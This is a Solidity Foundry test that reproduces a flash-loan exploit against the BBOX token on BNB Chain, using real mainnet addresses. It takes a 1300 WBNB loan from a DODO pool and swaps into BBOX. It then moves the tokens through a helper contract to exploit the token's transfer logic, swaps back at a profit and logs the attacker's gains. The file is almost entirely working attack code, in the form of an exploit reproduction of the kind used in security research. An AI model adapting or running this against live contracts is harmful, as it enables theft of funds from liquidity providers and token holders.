1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| pragma solidity ^0.8.10;
import "forge-std/Test.sol"; import "./interface.sol"; import "forge-std/console.sol";
contract bboxExploit is DSTest{
IERC20 BBOX = IERC20(0x5DfC7f3EbBB9Cbfe89bc3FB70f750Ee229a59F8c); IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4; address contractaddress;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public { cheats.createSelectFork('bsc',23106506); }
function testExploit() public{ WBNB.approve(address(Router), type(uint).max); BBOX.approve(address(Router), type(uint).max); TransferBBOXHelp transferHelp = new TransferBBOXHelp(); contractaddress = address(transferHelp); DVM(dodo).flashLoan(1300*1e18,0,address(this),new bytes(1)); emit log_named_decimal_uint( "[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18 ); }
function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public{ emit log_named_decimal_uint( "[start] Attacker WBNB balance before exploit", WBNB.balanceOf(address(this)), 18 ); WBNBToBBOX(); contractaddress.call(abi.encodeWithSignature("transferBBOX()")); BBOXToWBNB(); WBNB.transfer(dodo,1300*1e18);
}
function WBNBToBBOX() internal{ address [] memory path = new address[](2); path[0] = address(WBNB); path[1] = address(BBOX); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( 1300 * 1e18, 0, path, contractaddress, block.timestamp ); }
function BBOXToWBNB() internal{ address [] memory path = new address[](2); path[0] = address(BBOX); path[1] = address(WBNB); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( BBOX.balanceOf(address(this)) * 90 / 100, 0, path, address(this), block.timestamp ); }
}
contract TransferBBOXHelp{ IERC20 BBOX = IERC20(0x5DfC7f3EbBB9Cbfe89bc3FB70f750Ee229a59F8c); function transferBBOX() external{ BBOX.transfer(msg.sender, BBOX.balanceOf(address(this))); } }
|